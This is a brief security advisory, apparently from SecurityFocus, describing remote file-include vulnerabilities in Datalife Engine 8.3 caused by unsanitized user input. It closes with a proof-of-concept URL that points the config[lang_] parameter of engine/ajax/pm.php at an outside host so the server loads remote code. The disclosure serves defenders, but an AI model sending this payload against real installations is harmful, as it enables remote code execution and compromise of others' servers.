source: https://www.securityfocus.com/bid/37851/info
  
Datalife Engine is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the computer; other attacks are also possible.
  
Datalife Engine 8.3 is vulnerable; other versions may also be affected. 

http://www.example.com/engine/ajax/pm.php?config[lang_=http://www.example2.com